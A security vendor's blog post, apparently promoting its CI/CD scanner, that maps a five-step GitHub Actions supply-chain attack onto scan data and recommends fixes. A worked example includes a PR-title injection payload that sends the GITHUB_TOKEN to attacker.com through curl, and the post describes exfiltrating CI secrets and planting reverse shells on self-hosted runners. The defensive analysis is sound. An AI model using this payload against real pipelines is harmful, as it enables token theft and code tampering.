A chained exploit isn’t one vulnerability - it’s a sequence of individually minor weaknesses that compound into a full compromise path. In CI/CD, the chain is entirely automated and scales horizontally.
In our scan of GitHub’s top 50K repos, we found 192,776 individual security findings. Individually, most of them are medium severity - a mutable version tag here, an overly broad permission there. But vulnerabilities don’t exist in isolation. Attackers don’t exploit one finding - they chain them.
6,983 repos in our dataset have compound vulnerabilities across two or more rule categories. 3,172 have the exact combination that constitutes a complete attack chain: an unpinned action plus write permissions. 611 have the triple compound - unpinned action, write permissions, and a dangerous trigger - the most dangerous repos in the dataset.
This article walks through the five steps of a CI/CD chain attack, mapping each step to real data from our scan. This isn’t theoretical. Every element of this chain exists in production right now, across thousands of repositories.
I’ve spent 30 years on both sides of this wire - building these attack chains in red team engagements against banks, government agencies, and critical infrastructure, and building the tools to detect them. The chain I’m about to describe isn’t hypothetical. It’s a playbook.
In traditional security, a chained exploit links multiple weaknesses into a single attack path. A phishing email delivers a credential-harvesting page. The stolen credential grants VPN access. The VPN connection reaches an unpatched internal server. The server exploit escalates to domain admin. No single step is a critical vulnerability. Together, they’re a complete compromise.
CI/CD chain attacks follow the same logic but operate in a fundamentally different environment. The entire chain is public - workflow files are readable by anyone. The attack is automated - CI triggers execute without human interaction. And the scale is horizontal - one compromised action hits every consumer simultaneously, not one target at a time.
The attacker’s first move is mapping the target landscape. In CI/CD, this is trivially easy - and our scan proves it.
GitHub Actions workflow files live in .github/workflows/ in every public repository. They’re readable without authentication. An attacker can enumerate every action dependency, every permission grant, every workflow trigger across the entire platform using GitHub’s Search API and Contents API.
Our scan did exactly this: 50,012 repos scanned with Runner Guard, 20,265 vulnerable repos identified, 192,776 findings catalogued - all from public data, in days, with minimal infrastructure. An attacker performing the same reconnaissance would build a prioritized target list ranked by downstream impact: which actions have the most consumers, which repos have the most forks, which pipelines have the most sensitive access.
The supply chain data from our scan is essentially the output of this recon phase. docker/login-action@v3 in 1,848 repos. softprops/action-gh-release in 1,405. dtolnay/rust-toolchain in 989. Every one of those numbers is a blast radius.
The attacker’s target isn’t the downstream repos - it’s the action maintainer’s GitHub account.
Methods: credential stuffing from previous data breaches. Phishing campaigns personalized from the maintainer’s public GitHub activity. Expired email domain takeover - if the maintainer’s recovery email domain has lapsed, buy it and reset their password. Social engineering through GitHub issues or pull requests.
Only ONE account needs to be compromised. Not the downstream repos, not GitHub itself - one maintainer.
This is what happened with tj-actions/changed-files in March 2025. The maintainer’s account was compromised through credential exposure. The attacker gained push access to the repository. No software vulnerability was exploited. No zero-day. Just a person’s credentials.
The single-maintainer problem our data reveals makes this step disturbingly efficient. action-gh-release - maintained by a single account - is used by 1,405 repos. rust-toolchain - maintained by a single account - controls the CI infrastructure for most of the Rust ecosystem across 989 repos. create-pull-request - maintained by a single account - has 59 action references across 353 repos. Compromise any one of these accounts and step 2 is complete.
With push access to the action’s repository, the attacker modifies the action’s code and moves the mutable tag (e.g., @v3) to point at the malicious commit.
The key insight: the action’s repository looks normal. Same tag name. Same version number. The tag just points somewhere different now. There’s no pull request, no code review, no approval process. Git tags are mutable - they can be deleted and recreated to point at any commit.
The payload itself targets CI environment variables. GitHub Actions workflows run with access to: - GITHUB_TOKEN - write access to the repository (if permissions allow) - Cloud credentials - AWS keys, GCP service account tokens, Azure connection strings - Registry tokens - NPM, PyPI, Docker Hub, Homebrew - Signing keys - code signing, release attestation
The payload doesn’t need to be sophisticated. A few lines of shell that base64-encode environment variables and POST them to an attacker-controlled endpoint. The exfiltration happens inside the CI runner, which has network access by default. No firewall to bypass. No endpoint detection to evade. The runner is a clean environment that trusts everything running inside it.
This is where CI/CD chain attacks diverge from every other attack class: propagation is automatic.
Every repository using action@v3 resolves that reference at runtime. The next time any of those repositories’ CI pipelines trigger - a push, a pull request, a scheduled workflow, a manual dispatch - the compromised code executes. No interaction required from the downstream repo maintainers. No approval. No awareness.
From our data: docker/login-action@v3 alone would hit 1,848 of GitHub’s top repos on the next CI trigger. That’s not 1,848 alerts - it’s 1,848 pipelines executing the attacker’s code with whatever credentials those pipelines hold. Docker registry tokens, cloud provider secrets, GITHUB_TOKENs with write access.
The propagation is horizontal. One compromised action doesn’t target one repo - it targets every consumer simultaneously. The blast radius isn’t one organization - it’s the subset of the open-source ecosystem that depends on that action.
And the timing is unpredictable from the attacker’s perspective - some repos trigger CI on every push, some on a schedule, some only on pull requests. The compromise rolls out gradually as different repos trigger their pipelines, creating a time window where the attack is active but not yet widely noticed.
Stolen credentials open doors beyond the CI pipeline.
A compromised GITHUB_TOKEN with write permissions - and our data shows 7,236 repos grant write access via RGS-008 - can push code directly to the downstream repository. The attacker is now inside the project’s source code, not just its CI. They can modify release workflows, add themselves as a contributor, or inject backdoors into the codebase itself.
Stolen cloud credentials (AWS, GCP, Azure) access production infrastructure. The jump from CI pipeline to production environment is a single API call with the right credentials.
Stolen registry tokens (NPM, PyPI, Docker Hub) allow publishing backdoored packages. The attacker is now in the downstream project’s software supply chain - not just their CI/CD supply chain.
Each stolen credential is a pivot point. The attack chain doesn’t end at exfiltration - it’s the beginning of a second, third, or fourth chain.
Traditional security tools don’t see it.
@v3. The code that @v3 points to changed - upstream, in someone else’s repository.This is why Vigilant built Runner Guard. The gap between traditional application security and CI/CD pipeline security is where these chain attacks operate.
Our scan data maps directly to each step of the chain:
| Chain Step | Our Evidence |
|---|---|
| Recon | 143,616 unpinned action findings mapped across 20,265 repos |
| Compromise | Single-maintainer actions: action-gh-release (1,405 repos), rust-toolchain (989) |
| Payload | 6,790 critical findings - CI environments with sensitive access |
| Propagation | docker/login-action@v3 reaches 1,848 top repos; 590M downstream forks |
| Lateral | RGS-008: 11,658 findings - write-access GITHUB_TOKEN in 7,236 repos |
The most dangerous compound patterns in the dataset:
| Rule Combination | Repos | Risk |
|---|---|---|
| RGS-007 + RGS-008 | 3,172 | Unpinned action + write perms = steal AND push |
| RGS-007 + RGS-008 + RGS-004 | 611 | Triple compound - the complete chain in one repo |
| RGS-001 + RGS-002 | 98 | Injection + dangerous trigger - direct code execution |
The 611 triple-compound repos are the most dangerous in the dataset. They have all three elements: an unpinned action (the entry point), write permissions (the escalation path), and a dangerous trigger (the activation mechanism). An attacker doesn’t need to chain across multiple repos - everything is in one place.
You can explore compound vulnerability patterns across the full dataset in our interactive dashboard - filter by rule combination to see which repos have complete attack chains and which rule pairings are most common.
Abstract chain models are useful for understanding. Concrete examples are useful for convincing your team to fix this today. Here’s a real attack scenario built entirely from patterns we found in the dataset.
The target: A popular open-source framework (50K+ stars) with this workflow in .github/workflows/greet.yml:
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
steps:
- uses: actions/checkout@v4
with:
ref: $
- run: |
echo "Thanks for the PR: $"
# ... process the PR
The attack - four lines, no tools, no exploits:
An attacker opens a pull request with this title:
"; curl -s https://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64) #
When the workflow triggers, GitHub interpolates the PR title directly into the shell command. The echo statement becomes:
echo "Thanks for the PR: "; curl -s https://attacker.com/exfil?token=$(echo $GITHUB_TOKEN | base64) #"
The shell executes curl, which sends the repository’s GITHUB_TOKEN - with contents: write and pull-requests: write permissions - to the attacker’s server. The # at the end comments out the trailing quote. Total execution time: under one second.
What the attacker now has:
What made this possible - four compounding weaknesses:
pull_request_target trigger → runs with secrets access (RGS-005)permissions: contents: write → stolen token can push code (RGS-008)No single finding is catastrophic. Together, they’re a complete compromise - from anonymous attacker to code-level write access in a top open-source project, triggered by opening a PR. This compound pattern exists in hundreds of repos in our dataset.
The fix is equally straightforward: move the PR title into an environment variable (env: PR_TITLE: $), switch to pull_request trigger, scope permissions to read-only. Minutes of work. The Fix It guide covers each fix with before-and-after examples.
541 repos have taint-to-execution chains - untrusted input from PR titles, issue bodies, or branch names flowing directly to shell execution:
| Category | Star Range | Rules Hit | Findings |
|---|---|---|---|
| Popular AI desktop client | 40K-45K | 10 rules | 124 |
| Popular low-code platform | 35K-40K | 9 rules | 1,030 |
| Java design patterns repo | 90K-95K | 6 rules | 18 |
| Popular BaaS platform | 55K-60K | 7 rules | 107 |
A popular AI desktop client triggers 10 different rule categories - the most diverse vulnerability profile in the dataset. A popular low-code platform has 1,030 findings across 9 rules - essentially every vulnerability type we detect.
These repos don’t just have compound vulnerabilities - they have active exploit chains where untrusted data flows from attacker-controlled sources (PR titles, issue bodies) through expression interpolation directly to shell execution with secrets access. An attacker submitting a specially crafted PR title could execute arbitrary commands in the CI runner.
RGS-009 detects the most direct attack chain: repos using pull_request_target that check out and execute fork code. The pull_request_target trigger runs with full write access and secrets - unlike pull_request, which runs in a sandboxed context. When a workflow checks out the PR head (the fork’s code) under this trigger, the attacker’s code runs with the same privileges as a trusted contributor.
| Category | Star Range | Critical Findings |
|---|---|---|
| Popular low-code platform | 35K-40K | 66 |
| Popular AI chat interface | 85K-90K | 3 |
| Popular multi-agent AI framework | 60K-65K | 6 |
| Kubernetes networking project | 20K-25K | 24 |
| Major tech company’s language tool | 30K-35K | 24 |
The AI repos are particularly concerning. Several popular AI tooling repositories - an AI chat interface, a multi-agent framework, an AI desktop client - all have RGS-009 misconfigurations that create OIDC credential theft vectors. An attacker submitting a PR to these repos could steal cloud credentials through the CI pipeline.
The most dangerous combination in the dataset pairs code injection vulnerabilities (RGS-001, RGS-002) with self-hosted runner exposure. Self-hosted runners are persistent machines - unlike GitHub’s ephemeral runners, they don’t get destroyed after each job. An attacker who achieves code execution on a self-hosted runner can install persistent access: backdoors, credential harvesters, reverse shells that survive the workflow run.
Repos with this combination include a popular penetration testing framework (30K-40K stars), a popular developer portal (30K-35K stars), a popular API gateway (40K-45K stars), and a major Kubernetes networking project (20K-25K stars). These are high-value infrastructure targets where persistent access to the build environment has outsized impact.
The irony of the penetration testing framework bears repeating: the tool security professionals use to test for remote code execution has RCE vulnerabilities in its own CI/CD pipeline. The tool designed to find the problem is the problem.
The organizations developers trust most aren’t immune to compound vulnerabilities - they’re often the most exposed. Our data shows major cloud platforms, OSS foundations, and framework organizations among the repos with the densest compound findings. A major Java framework organization has a 92.9% vulnerability rate across its repos - nearly every one with multiple overlapping rule hits.
This isn’t surprising when you understand the chain model. Larger organizations run more complex CI/CD with more action dependencies, more permission grants, more workflow triggers, and more credential access. Each additional element is another link that can be exploited. The chain doesn’t care about the brand name - it cares about the structure of the pipeline.
Break the chain at Step 1. SHA-pin every action. If the reference is immutable, tag manipulation has no effect. The chain dies at the first link.
Minimize lateral movement at Step 5. Scope GITHUB_TOKEN permissions to the minimum required per job - contents: read, not write-all. An action that can’t push code limits the blast radius even if compromised.
Eliminate dangerous triggers. pull_request_target with checkout of fork code gives untrusted PRs access to secrets. Switch to pull_request (which doesn’t have secrets access) or add explicit authorization checks.
Watch for compound patterns. A single unpinned action is medium risk. An unpinned action plus write permissions plus a dangerous trigger is a complete attack chain. Scanner output that only shows individual findings misses the compounding - look for the combinations.
Assume the chain will be automated. The AI agent analysis shows how every step of this chain can be orchestrated by autonomous agents. The speed and scale of the next major CI/CD supply chain attack will be fundamentally different from tj-actions.
The chain attack is the threat model that makes CI/CD security different from application security. It’s not about one vulnerability in one repo - it’s about how weaknesses compound across the trust boundaries of the entire ecosystem. Understanding the chain is the first step to breaking it. The Fix It guide walks through the specific fixes for each link.
Scan your repos today. Runner Guard is Vigilant’s free, open-source CI/CD security scanner - the same tool that powered this research. Install it in under a minute:
brew install Vigilant-LLC/tap/runner-guard
runner-guard scan github.com/owner/repo
14 security rules. Zero configuration. One command.